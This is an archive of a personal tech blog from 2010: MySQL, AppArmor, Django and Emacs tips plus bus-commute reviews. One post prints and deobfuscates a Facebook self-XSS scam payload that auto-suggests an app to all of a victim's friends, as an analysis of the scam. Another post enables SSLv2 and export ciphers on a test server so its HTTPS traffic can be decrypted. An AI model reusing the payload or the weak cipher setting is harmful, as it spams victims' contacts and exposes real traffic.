If you move the master server in your MySQL replication setup, you might be tempted to simply issue the command CHANGE MASTER TO MASTER_HOST='new.host.example.com'; on the slave to point it to the new master.

Don't. If you do, the slave will lose its place in the log and you'll get errors from key conflicts as the slave tries to reinsert old rows. (Errors if you're lucky. The slave might just silently insert duplicate rows.)

Instead, issue a SHOW SLAVE STATUS\G; and use the values for Master_Log_File and Read_Master_Log_Pos (I think you want this rather than Exec_Master_Log_Pos, but they were equal in my case -- check the manual) to populate MASTER_LOG_POS and MASTER_LOG_FILE. In other words,

CHANGE MASTER TO MASTER_HOST='new.host.example.com', MASTER_LOG_POS=12345, MASTER_LOG_FILE='mysql-bin.003334';

I screwed this up, but I was lucky enough to have just enlarged the volume, so I had an EBS snapshot of the last known good version of the slave. I just dumped the volume I'd broken and started from the snapshot. EC2+EBS ftw.

Debian->ubuntu mysql upgrade gotcha

2010-07-04T12:46:00.001-07:00

If you're upgrading from Debian to Ubuntu, note that ubuntu wraps MySQL in app-armor and Debian doesn't. This means that if you played around with the paths that MySQL uses, mysqld might not be able to start at all.

The first thing to note is that you get no error notifications when "service mysql start" fails -- just an indefinite hang, as this thread notes. If you become root and run /usr/sbin/mysqld, you will get an error like this:


# /usr/sbin/mysqld
100704 19:41:08 [Warning] The syntax '--log_slow_queries' is deprecated and will be removed in MySQL 7.0. Please use '--slow_query_log'/'--slow_query_log_file' instead.
100704 19:41:08 [Note] Plugin 'FEDERATED' is disabled.
/usr/sbin/mysqld: Can't create/write to file '/tmp/ib17ii5f' (Errcode: 13)
100704 19:41:09  InnoDB: Error: unable to create temporary file; errno: 13
100704 19:41:09 [ERROR] Plugin 'InnoDB' init function returned error.
100704 19:41:09 [ERROR] Plugin 'InnoDB' registration as a STORAGE ENGINE failed.
100704 19:41:09 [ERROR] Unknown/unsupported table type: innodb
100704 19:41:09 [ERROR] Aborting

100704 19:41:09 [Note] /usr/sbin/mysqld: Shutdown complete

errno 13 means "permission denied."

Because I was using an Amazon EBS root filesystem, I wanted to eliminate unnecessary EBS overhead, so I'd moved /tmp to /tmp-old, made the directory /mnt/tmp on the local storage, and symlinked /mnt/tmp to /tmp. I thought the perms were correct, and I was able to make files in /tmp as an unprivileged user. I even ran vipw to edit /etc/passwd to give the mysql user a shell (otherwise, you can't su to mysql) and noted that it was possible to write files to tmp. (I changed it back to /bin/false afterwards, of course.) Even when I told mysql to use the old directory ( /usr/sbin/mysqld --tmpdir=/tmp-old), I got the same error message.

I dug through the init files and noticed some references to app-armor. I checked the logs and found this:

Jul 4 19:41:09 domU-12-31-39-0E-C9-A1 kernel: [ 8095.267321] type=1503 audit(1278272469.041:18): operation="mknod" pid=5746 parent=4609 profile="/usr/sbin/mysqld" requested_mask="c::" denied_mask="c::" fsuid=106 ouid=106 name="/mnt/tmp/ib17ii5f"

...aha.

The main reason for redirecting /tmp was an application of my own that produced thousands of cache files in /tmp. I changed the app to use /mnt/tmp instead. Now, mysql launched, but with a new error:

SSL error: Unable to get certificate from '/vol/etc/mysql/newcerts/server-cert.pem'
100704 19:52:14 [Warning] Failed to setup SSL
100704 19:52:14 [Warning] SSL error: Unable to get certificate

Unsurprisingly, in /var/log/messages, I found:

Jul 4 19:52:14 domU-12-31-39-0E-C9-A1 kernel: [ 8760.837526] type=1503 audit(1278273134.614:23): operation="open" pid=4609 parent=4602 profile="/usr/sbin/mysqld" requested_mask="r::" denied_mask="r::" fsuid=106 ouid=106 name="/vol/etc/mysql/newcerts/server-cert.pem"

The fix for this was pretty simple: I opened /etc/apparmor.d/usr.sbin.mysqld and below the line

/etc/mysql/*.pem r,

I added the line

/vol/etc/mysql/newcerts/*.pem r,

Fixed.

How to eavesdrop on HTTPS traffic

2010-06-30T19:23:00.000-07:00

I had an intermittent problem with my web app: a test suite intended to verify that client-cert SSL* worked was failing. It wasn't failing because the client-cert SSL auth was broken. It was failing because of a 400 Bad Request with the message:

Your browser sent a request that this server could not understand.
Request header field is missing ':' separator.

Of course, since the connection was SSL encrypted, I couldn't easily to see what was going on.

Fortunately, wireshark has SSL decoding built in. It's a bit tricky to use, but this wiki page and this mailing list post explain what to do. Here's the short version:

1. If your server's SSL key isn't in a .pem file already, make one. Here's what I did:

openssl pkcs12 -export -in server.crt -inkey server.key -name "Server Certificate" -out server.p12 -passin pass: -passout pass:
openssl pkcs12 -in server.p12 -out server.pem -nodes  -passin pass: -passout pass:

Note that there are no passwords on these keys -- this is my testbed server. If you have passwords on your keys, the steps may be different.

2. Tell wireshark about the .pem file. Go to Edit->Preferences, expand the protocols menu, and
pick SSL from the list. If your https server is running on localhost, port 443, enter "127.0.0.1,443,http,/path/to/your/server.pem" in the "RSA keys list" box.

3. Assuming that you don't have SSLCipherSuite defined elsewhere (in which case, you might want to temporarily comment it out if it contradicts this one), add the following entry to your apache2.conf and restart apache:


SSLCipherSuite kRSA!DH:aRSA!DH:RC4+RSA!DH:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP

That turns off Diffie-Hellman key negotiation.

4. Make sure that your browser is opening a fresh connection. In Firefox, closing the tab and opening a new one appeared to be sufficient.

5. Start the capture on the appropriate interface. If everything works, Wireshark will decode it. If not, go back to the preferences dialogue, set a debug file, and try again. Look in the debug file for clues---perhaps Wireshark couldn't read your key, for instance.

* It tried to read a trivial CGI script that just echoed back the SSL environment variables like SSL_CLIENT_M_SERIAL and SSL_CLIENT_VERIFY.

Epic link of the day

2010-06-30T14:33:00.001-07:00

http://whatdoesgodneedwithastarship.com/

If you've never played Xenogears, it won't make any sense, btw.

Naming and Necessity

2010-06-23T19:54:00.001-07:00

I think Microsoft Security Essentials is a great idea. However, one would think that when Microsoft added a feature that they admit might "unintentionally" send your personal information to their computers, they would call it something other than "SpyNet":

Switch

2010-06-20T13:27:00.000-07:00

By the way, the suggestion to switch Linux distrubutions in order to get a single app to work might sound absurd at first. And that's because it is. But I've been saturated with Unix-peanut-gallery effluvia for so long that it no longer even surprises me when every question -- no matter how simple -- results in someone suggesting that you either A) patch your kernel or B) change distros. It's inevitable and inescapable, like Hitler. --JWZ

I've been a Debian user since 2002. To get a single app to work, I just switched to Ubuntu.

The app was openssl. I'm building VMs using Ubuntu's vmbuilder, because there's no obvious equivalent for Debian. Unfortunately, the openssl/libssl0.9.8 that ships with Ubuntu (0.9.8k) has some bizarre, inexplicable incompatibility with the openssl/libssl0.9.8/mod_ssl that ships with Apache on Debian (0.9.8n). I was trying to do a SSL client-certificate authentication from the Ubuntu VM to a Debian server. Using a Debian client (openssl s_client or just Python's HTTPS support) and a Debian Apache2 server worked fine. Using an Ubuntu client and an Ubuntu Apache2 worked fine. But the Ubuntu client and the Debian Apache2 failed.

The Right Thing to do would be to come up with a minimal case demonstrating the bug and post it in the appropriate bug tracker, but since I wasn't even sure if the bug was in Apache2 or in openssl, it would have taken some time to find the right place to report it. I was pressed for time and decided to punt by switching everything to Ubuntu.

I backed up my laptop's /var, /etc, and /home to a second computer via rsync. I burned the Ubuntu installer, which turned out to be a coaster: I wanted to encrypt my disk, and only the "alternate" installer supports that. I burned and booted the alternate .iso, erased my original Linux and swap partitions, created an encrypted partition, layered LVM on top of that, created new linux and swap partitions inside the LVM, and started the installation. The install took what seemed like hours longer than a Debian install -- I'm not sure if that's simply because Ubuntu Desktop is much bigger than a minimal Debian install or or because the crypto slowed down disk I/O. Possibly both. But the installer worked perfectly---it even recognized my Vista partitions and added them to the grub menu.

Ubuntu's wireless support is thousands of times more wonderful than Debian's: instead of writing shell scripts to connect to open and WEP networks and having to run them from the command line every time I woke the computer from sleep and being completely unable to connect to WPA networks (the wpa_supplicant manual could double as creepypasta), Ubuntu has NetworkManager and a lovely GUI widget to control wireless connectivity. I don't particularly like always-on GUI widgets, but you can easily hide the Ubuntu widget/menu bar by right-clicking it, choosing 'Properties', and ticking "Auto-hide". I installed enlightenment (packaged as e16) and chose E16-Gnome at the login screen. I switched off all the iconboxes, virtual desktops (I want _multiple_ desktops, not virtual ones), tooltips, and pagers. I made one small change to e16's configuration, editing /etc/e16/bindings.cfg to open gnome-terminal rather than Eterm when I hit Ctrl-Alt-Insert (change "KeyDown CA Insert exec Eterm" to "KeyDown CA Insert exec gnome-terminal"). The result: wonderful.

Oh, and SSL client-auth now works.

debhelper help

2010-06-18T06:35:00.000-07:00

If you want to install a cron.d file using a debian/ubuntu package and you're using debhelper, you can just leave a file called package-name.cron.d in the debian/ directory. The manual explains this. The manual doesn't mention (maybe it's obvious to people other than me) that you have to make sure dh_installcron is in your debian/rules in the appropriate place (for instance, perhaps after dh_installdocs in binary-indep, depending on what kind of package you're building.)

Note that you will also need an explicit username in cron.d, e.g.,

30 12 * * * someuser /usr/sbin/someprogram

M-x awesome-mode

2010-06-14T19:01:00.000-07:00

Since James Fallows mentioned how much he liked full-screen mode in his word processor. Since I use the best text editor known to man, I thought I'd try it. Here's what I added to my ~/.emacs.el. Like all of my .emacs.el, it's cribbed from various places on the 'net, mostly here:

(defun switch-nerd-mode ()
(interactive)
(menu-bar-mode)
(scroll-bar-mode)
(shell-command "wmctrl -r :ACTIVE: -btoggle,fullscreen"))
(global-set-key [f11] 'switch-nerd-mode)

(Note that this assumes you'll have the menu bar and scroll bar switched on when you're not in full-screen mode. It also assumes that you switched off the toolbar, which is on by default.)

Now, this _almost_ works. But there's one problem:

For whatever reason, there's a thin strip of desktop peeking through. I'm not sure why: Firefox fullscreens perfectly. But Gnome Terminal has the leftover strip. (I don't use any other programs, really.)

I was too lazy to actually debug it, so I did what any respectable nerd would do: I set the desktop background to the same color as my emacs window. I set the desktop to solid black, installed the emacs-goodies-el Debian package, which includes a bunch of color themes, ran M-x color-theme-select, and picked Retro Green, which looks like this:

Yes, that's my whole display. No title bars, scroll bars, task trays, menus, clocks, widgets, heatmaps, thermometers, netload meters, mail indicators --- nothing.

One problem with Retro Green is that its narrow color selection (green and black) mean that fancy major modes with lots of colors are less useful: for instance, in python-mode, I typed os.exec instead of os.system and was wondering why pylint was throwing a syntax error on that line. If I'd been using the standard mode, the exec keyword would have been purple.

One last tip: if you launch ediff, the ediff control window might sometimes appear under your main window, or somewhere off-screen entirely. If you're using Enlightenment 0.16 (which is the least terrible WM I've used), just hit Ctrl+Alt+Home and E will move it to the front so you can put it somewhere sensible.

If someone has a more awesome Emacs windowing setup than this, I'd like to see it. (Note that I'll probably copy it.)

Update: Since I switched to Ubuntu, switching to full-screen mode actually gives me the full screen in both Emacs and gnome-terminal. Win.

Booting a .vmdk with VirtualBox

2010-06-11T05:14:00.000-07:00

I have a VMware .vmdk+.vmx image created with ubuntu's wonderful vmbuilder. I wanted to boot it with VirtualBox (since I didn't see an easy way to install VMware on the Debian box I was using, and didn't think it was necessary). Unfortunately, every time I tried to boot, the system complained that it couldn't find the root filesystem and dropped me to an initramfs busybox shell.

ALERT! /dev/disk/by-uuid/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx does not exist. Dropping to a shell!

I tried editing the root= parameter in grub to change it from a UUID to /dev/sda1 or /dev/hda1, to no avail. Flailing, I reconfigured Virtualbox: I deleted the SATA controller, added an IDE controller, and attached the .vmdk to it. I rebooted. It worked!

Midafternoon diversion

2010-06-09T12:20:00.000-07:00

Result of running a word-based Markov chain text generator on the Craigslist personals:

Men seeking women:


I know you ask; me.  I am a message And take control.  I also like
older than me each one.  I'm adventure and have a vast knowledge of
further: conversation.  I would appreciate your highest goals in lieu
of a date this post is consistent actually an issue.  Geographic
location open to you after a up my terrible ego jumps out more Please
be cute, woman between ish who's interested.  If a normal guy on it is
easy to Hold a normal relationship with dark hair i go to plead with
the contrary.

Women seeking men:


I love to land in quincy.  Hi, so I don't forget I am saying
certain to chat and I love type a friend long time with.  Life
has a light brown hair, blue eyes.  I love?  You're not thin,
or maybe a Great day, that is this is kind, of yourself in size
work day and just be athletic is your parents, must not for
work out with photos get I Am a spider.  He life I am not much
more than dwell on your my own my group or go to cook, wrestle,
go out or ROBOTS Please be greatly appreciated with you like to
be become been to all I'm one of chick this?

Women seeking women:


Someone who is just so not?  I am looking; for me A the Trina Hamlin
figthing didnt want someone who has in a little experience, a person
but know me and I'll send me an unfortunate circumstance since middle
school and therefore often in College student but it's pretty hard at
least for?  It is there.

Men seeking men:


Older guy here looking for if you must big jock looking for details to
travel.  I'm masc or an oler guy here: and here (to party and also be
Very private very goodlooking and me beg)?  I am masculine hairy fit,
maybe your hot?  Wm looking to try it slow with a time, for games Yr
old asian guys interested?

Django CSRF gotcha

2010-06-04T11:11:00.000-07:00

Django contains a decorator, @csrf_exempt, that you can apply to a view function to tell the anti-CSRF CsrfViewMiddleware to ignore that view. While it's obvious in retrospect, make sure you apply the decorator to the actual view (e.g., the function listed in urls.py); otherwise, if you apply it to a function called by that view function, CsrfViewMiddleware will merrily ignore it and raise a CSRF error.

FUSE confusion

2010-06-03T19:05:00.000-07:00

The FUSE error

fuse: device not found, try 'modprobe fuse' first

...is misleading. You might actually have the FUSE module loaded (check with lsmod|grep fuse), but the device doesn't exist. Check for the presence of /dev/fuse. In my case, it was never created because udev wasn't running when I installed FUSE or loaded the fuse module (or possibly both). Some combination of /etc/init.d/udev start and /etc/init.d/udev stop and /etc/init.d/udev reload got udev to create /dev/fuse.

That meant that I graduated to the next peanut-gallery error:

mount: unknown filesystem type 'ext4'

(I'm running Debian Lenny, so ext4 is only supported if you ignore the dire warnings.)

gah.

Django manual-transaction fun

2010-05-26T13:18:00.001-07:00

If you use the @commit_manually decorator to manage a transaction, Django will throw a TransactionManagementError ("Transaction managed block ended with pending COMMIT/ROLLBACK") if you fail to commit or rollback the transaction before you exit the function.

If you exit the function due to an exception, Django will sometimes show you the exception that caused the exit. But sometimes it will not: it will only show you the TransactionManagementError, leaving you scratching your head. I've discovered that you get the TransactionManagementError if you modify an object via Django's object-relational mapper. You get the the underlying exception if you modify the database via a raw SQL query. Example:


in views.py:

@commit_manually
def test_view(request):
 cur = connection.cursor()
 cur.execute("insert into quux (val) values ('a')")
 tmodel = TestModel(somenum = 5)
 tmodel.save()
 assert 0
 transaction.rollback()
 return HttpResponse("id: %d" % val_id)


in models.py:

class TestModel(models.Model):
 somenum = models.IntegerField()

manually-created InnoDB table:

CREATE TABLE `quux` (
`id` integer primary key AUTO_INCREMENT,
`val` text
) ENGINE=InnoDB;

If you view test_view, you will get a TransactionManagementError. If you move the "assert 0" above the tmodel.save(), you get an AssertionError. Raw SQL queries are fine, but you get confusing results if you use the mapper.

If you comment out tmodel.save() but call transaction.set_dirty(), as you're supposed to when you modify the database with raw SQL, you get a TransactionManagementError.

Lesson: if you're getting unexpected TransactionManagementErrors, make sure your code isn't throwing exceptions. Quick fix to see the underlying exception: comment out the @commit_manually decorator. You will lose transactional integrity, so don't do this on a production system.

Those darn Facebook scammers!

2010-05-13T00:38:00.000-07:00

I've lately received a few spammish Facebook "suggestions":

Subject: [name withheld] suggested you become a fan of *Whole Foods Market*FREE $500 Gift Card* Limited - first 1...
Subject: [name withheld] suggested you become a fan of SEE WHO'S VIEWING YOUR PROFILE NOW!..
Subject: [name withheld] suggested you like How a Competition Ended a 10 Year Marriage - Video...
Subject: [name withheld] suggested you like PROVEN - Most Adults CANNOT solve th!s YET Almost ALL children CAN...

All of the [name withheld]s were people I know who'd evidently been duped in some way or other. Since the very last one was a computer scientist at a very famous Eastern university, I had to figure out how they'd done it. I defanged whatever evils lurked on the page by clearing my Facebook cookies, then Googled the "most adults" subject line to find the page. (I didn't want to click the link, in case it included some identifier that would let the evil app work even without my having logged in.)

The page contained a "riddle" (formatted as an image, possibly to defeat a text-search for this scam):

...followed by a "click for solution" button that ran clever little JavaScript program. First it asked me to hold down the Control key. Any adult can do that, right? Then "C". Then it told me it had copied something to my clipboard. Clever. It must have been from a hidden selection area. Then it asked me to press and hold "Alt", then press "D" to select the address bar. Finally, it asked me to press "Control" and then "V", followed by Enter. I wasn't logged in, so this didn't do anything but bring up a "Loading..." box. This was the code snippet, prefixed with "javascript:" to make it executable in the location bar.

(I have changed the app ID 120715334615757 to XYZ just to make it harder for someone to inadvertently run this code.)


function(){a='appXYZ_jop';b='appXYZ_jode';ifc='appXYZ_ifc';ifo='appXYZ_ifo';mw='appXYZ_mwrapper';eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{}))})();

That was enlightening.

If you replace eval( with alert( and run this code, you'll strip off the first layer of obfuscation:


var _0x95ea=["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79","\x73\x74\x79\x6C\x65","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x68\x69\x64\x64\x65\x6E","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x76\x61\x6C\x75\x65","\x73\x75\x67\x67\x65\x73\x74","\x6C\x69\x6B\x65\x6D\x65","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73","\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74","\x63\x6C\x69\x63\x6B","\x69\x6E\x69\x74\x45\x76\x65\x6E\x74","\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67"];d=document;d[_0x95ea[2]](mw)[_0x95ea[1]][_0x95ea[0]]=_0x95ea[3];d[_0x95ea[2]](a)[_0x95ea[4]]=d[_0x95ea[2]](b)[_0x95ea[5]];s=d[_0x95ea[2]](_0x95ea[6]);m=d[_0x95ea[2]](_0x95ea[7]);c=d[_0x95ea[9]](_0x95ea[8]);c[_0x95ea[11]](_0x95ea[10],true,true);s[_0x95ea[12]](c);setTimeout(function(){fs[_0x95ea[13]]()},5000);setTimeout(function(){SocialGraphManager[_0x95ea[16]](_0x95ea[14],_0x95ea[15])},5000);setTimeout(function(){m[_0x95ea[12]](c);d[_0x95ea[2]](ifo)[_0x95ea[4]]=d[_0x95ea[2]](ifc)[_0x95ea[5]]},5000);

The \x?? junk looks like hexadecimal escapes, so let's run those through a tiny Python program to decode them:


import re, sys
base = r"""{insert the code here}"""
last = 0
for obj in re.finditer(r"\\x[0-9a-fA-F][0-9a-fA-F]", base):
   sys.stdout.write(base[last:obj.start()])
   #sys.stdout.write(base[obj.start():obj.end()])
   item = chr(int(base[obj.start():obj.end()].replace("\\x",""),16))
   sys.stdout.write(item)
   last = obj.end()
sys.stdout.write(base[last:])

Off comes the second layer of obfuscation:


var _0x95ea=["visibility","style","getElementById","hidden","innerHTML","value","suggest","likeme","MouseEvents","createEvent","click","initEvent","dispatchEvent","select_all","sgm_invite_form","/ajax/social_graph/invite_dialog.php","submitDialog"];d=document;d[_0x95ea[2]](mw)[_0x95ea[1]][_0x95ea[0]]=_0x95ea[3];d[_0x95ea[2]](a)[_0x95ea[4]]=d[_0x95ea[2]](b)[_0x95ea[5]];s=d[_0x95ea[2]](_0x95ea[6]);m=d[_0x95ea[2]](_0x95ea[7]);c=d[_0x95ea[9]](_0x95ea[8]);c[_0x95ea[11]](_0x95ea[10],true,true);s[_0x95ea[12]](c);setTimeout(function(){fs[_0x95ea[13]]()},5000);setTimeout(function(){SocialGraphManager[_0x95ea[16]](_0x95ea[14],_0x95ea[15])},5000);setTimeout(function(){m[_0x95ea[12]](c);d[_0x95ea[2]](ifo)[_0x95ea[4]]=d[_0x95ea[2]](ifc)[_0x95ea[5]]},5000);

Now, if we run this through a JavaScript beautifier, we can strip off one more layer. This beautifier appears to have partially evaluated the code, kindly substituting references to the array _0x95ea with the corresponding values:


d = document;
d['getElementById'](mw)['style']['visibility'] = 'hidden';
d['getElementById'](a)['innerHTML'] = d['getElementById'](b)['value'];
s = d['getElementById']('suggest');
m = d['getElementById']('likeme');
c = d['createEvent']('MouseEvents');
c['initEvent']('click', true, true);
s['dispatchEvent'](c);
setTimeout(function () {
   fs['select_all']()
}, 5000);
setTimeout(function () {
   SocialGraphManager['submitDialog']('sgm_invite_form', '/ajax/social_graph/invite_dialog.php')
}, 5000);
setTimeout(function () {
   m['dispatchEvent'](c);
   d['getElementById'](ifo)['innerHTML'] = d['getElementById'](ifc)['value']
}, 5000);

I'm not going to do a complete trace, but it's pretty clear from the above that the code is telling Facebook to "like" an application, waiting five seconds, then submitting a the form that sends the "like" suggestion to all of your friends. Ouch.

Reverse mirroring with lftp

2010-03-30T15:57:00.000-07:00

$ lftp -u username,password -e "mirror --reverse -x .*tif --only-newer --verbose /home/me/path/somewhere ." example.org

I'm using a hosting account that supports ftp but not rsync. Fortunately, lftp provides rsync-like capability: reverse mirroring. The above command will copy the local directory /home/me/path/somewhere to the remote directory . (wherever you land when you first log in) on example.org, excluding files that end in "tif", only copying newer files.

Joe

The Boston-New York City Commute, part II

2010-03-17T14:18:00.000-07:00

Now that Megabus has returned to South Station, it's a viable option for my NYC-Boston commute. I tried it again last night for the first time in some years. Thoughts:

WIN:

MB has a 1:30 a.m. departure. The only other company that runs this late is Greyhound. Unlike Greyhound, this bus arrives just as the T starts running, makes no stops (many late-night Greyhound services stop in Worcester), and doesn't involve waiting in the basement of the Port Authority Bus Terminal. (Embarking outdoors at 31st and 8th might be unpleasant in the rain, though.)

The double-decker coaches are great. As comfortable as Bolt Bus but with cruelty-free seats, lots of legroom, 110v outlets, and very fast WiFi.

FAIL:

The WiFi network blocks ssh (port 22). WHY? I could still ssh from my phone, but I couldn't do real work that way. Who blocks 22 in this day and age?

EPIC FAIL:

The megabus website is a disaster on mobile phones. I tried to buy a ticket from a Droid. I was redirected to the "mobile" website, which contained nothing but a warning that the mobile website wasn't ready yet and a link to the regular website. That's fine; the Android browser can handle anything. I clicked the regular-website link and navigated to the "select a bus" screen, but every time I clicked a departure time, I was immediately redirected back to the useless "mobile" website. I suspect the "don't send me to the mobile site" was a request parameter rather than a cookie, someone forgot to add it to whatever request was silently triggered when I clicked a departure time.

I tried calling the booking number. Fortunately, they had someone on duty, fortunately, she even could pass me to a customer service agent. Unfortunately, the customer service agent couldn't help me. (Understandably -- this was 11pm.) [I could have booked the ticket over the phone, but paying the service fee when I had a perfectly working browser seemed silly.]

Eventually, I found steel, an alternative browser interface for Android. Steel lets you spoof your User-Agent header and pretend to be a desktop computer. Went back to the site -- huzzah! No more mobile-site redirects.

Summary:

Great departure-time selection, nice amenities, inexplicably restricted network, dreadful mobile-phone user experience. And very fast. We left at 1:30 and arrived at 5:16. The T came at 5:30, so I was back before sunrise.

The Boston-New York City Commute

2010-03-08T14:09:00.000-08:00

usAn old college buddy asked on Facebook:

Going up to Boston from NYC: Megabus, Bolt Bus, or rickety Chinatown bus? What say you, oh Facebook friends?

I've made this commute about two or three times a month, more or less every month since Sept. 2007, so I had a few comments.

Buses:
(All buses stop at South Station in Boston, unless otherwise noted.)

Bolt Bus is the best all-around option. The Prevost X3-45 coaches have lots of legroom, nice seats (some even have seatbelts), WiFi, and power outlets. A ticket on a less-than-full bus is $15.50 with all fees included. As a given bus sells out, the price gets closer to $20. BB leaves from 34th and 8th, right by Penn Station. Disadvantages: BB sells out quickly on Fridays. You can often buy a seat as a standby for $20 in cash, but even this is tricky at peak hours on Fridays -- there are lots of other standby passengers. The midtown departure can be slow on Monday mornings -- sometimes, the driver will go through NJ to avoid driving north through Manhattan. (Today, I left at 7:30 and arrived around 12:07.) Get an account: you get a free ride after every eight tickets, and you're automatically placed in the first boarding group when you sign in, so you get first pick of the sea

I haven't taken Megabus since they moved to Back Bay station, but I understand they've switched back to South Station as of March 1, 2010. They now operate double-decker coaches which I haven't taken. Their single-decker coaches had WiFi (which sometimes worked), but no power outlets. Their NYC stop was also right by Penn Station. Update: they're back at South Station. Impressions here.

Fung Wah Bus and Lucky Star Bus are "Chinatown" bus lines, so named because their NYC stops are in Chinatown. FW and LS rarely sell out and have gate agents at both ends of the route, so you can buy tickets minutes before departure. Tickets are $15, except for a $25 2:30 a.m. departure. LS advertises WiFi but I've never managed to get it to work. (My Debian setup may be a complicating factor; for some reason, LS uses encrypted WiFi.) LS has a slightly shorter route from the Williamsburg Bridge to the stop in NYC, otherwise, the two are very similar. The NYC stops are a short walk from the B/D and a longer walk up Canal St. from the 6. The seat pitch on the FW/LS buses is much smaller than on the Bolt Bus, so it's harder to work with a laptop.

Chinatown buses have a reputation for cutting corners on maintenance, safety, and driver training; I've heard horror stories. On the plus side, they tend to be a bit faster than the other lines, and I've also heard that they've cleaned up their act. I haven't had a problem, yet.

Greyhound also runs the Prevost X3-45 on the Boston-New York route, so passengers have WiFi and outlets. Greyhound's prices are slightly higher (especially if you don't buy tickets from their website). Their Manhattan destination is the Port Authority Bus Terminal, which is very grim. On the plus side, they're the only operator with buses from Manhattan in the wee hours of the morning. Make sure you pick a route with no stops (or at most one stop); you certainly do not want the eight-hour multi-stop tour of Connecticut.

General observations:

If you're lucky, the driver won't waste 10-20 minutes stopping at a rest area. Very late and very early buses are less likely to stop. Keep in mind that all buses have bathrooms, so the stop is primarily for people who can't go for four hours without eating.

Leaving at unpopular hours makes the trip much more pleasant. Not only will you avoid traffic, but you're more likely to have an empty seat next to you. (This is particularly important on the Chinatown buses, where the seats are tiny.)

Bus WiFi can be unreliable; a tethering card or a smartphone with tethering capability lets you skip the "will the WiFi work?" lottery. I've had good connectivity through Verizon Wireless for the whole route.

South Station has a parking deck on the roof; the first 15 minutes are free. If you're really cheap, you could idle outside the gate until whomever you're picking up gets there...

LimoLiner. Premium bus service. I've seen advertisements in South Station but never tried them.

Non-bus options:

Amtrak. Amtrak has two services: the Northeast Regional (about 4 to 4.5 hours) and the Acela Express (about 3.5 hours). Prices range from $50 and up for the Regional and about $90 and up for the Acela; prices rise considerably as the trains sell out. I used to take the Regional frequently; I've never taken the Acela. The primary advantages are nicer seats, a quieter ride, outlets, and tray tables. The train also has a snack bar. Acela, I've heard, has finally begun to roll out WiFi.

The only major reason to take the Regional is to avoid traffic, otherwise, the Bolt Bus makes the exact same trip, in about the same amount of time at off-peak hours. BB's seats are smaller and lacks tray-tables, but has WiFi and more frequent departures. An off-peak Chinatown bus is often faster than the regional. If you're heading to the northern Bronx, you can shave a fair bit of time off your trip by getting off the Regional at New Rochelle (note that only some trains stop there) and taking a taxi, instead of going all the way to Penn Station and back out again.

Flying. I haven't flown BOS-NYC, but L. has taken a few flights. Delta seems to be the cheapest for last-minute fares, based on a very small sample size. The flight is fast but the TSA delay and the difficulty of getting from New York's airports into Manhattan will slow you down. LGA has no subway stop (Robert Caro blamed this on Robert Moses); you can take the (slow) M60 bus, which meets the N/W in Queens and the 2/3 and the 4/5/6 and the A/B/C/D at 125th St. in Manhattan.

At JFK, you can take the AirTrain for $5 to the A train or to the LIRR (a CityTicket may save you a few dollars) into Penn Station. There is a flat $45 cab fare from JFK to anywhere in Manhattan.

New York Airports Service, a private shuttle, runs from LGA to Penn Station; I've taken it several times, although not lately. You can also fly to Newark, where the AirTrain will take you to NJ Transit to Penn Station. You can also take a local bus from EWR to the PATH into Manhattan. (I haven't tried this.) Wikitravel has a more detailed rundown of how to get into NYC from its airports.

Driving. Pluses: you can go door-to-door. You can take FDR Drive and skip all the lights in Manhattan. Minuses: you can't work, have to stay awake (assuming that you're driving yourself), and have to find a place to park. I've only tried this once.

Conclusions

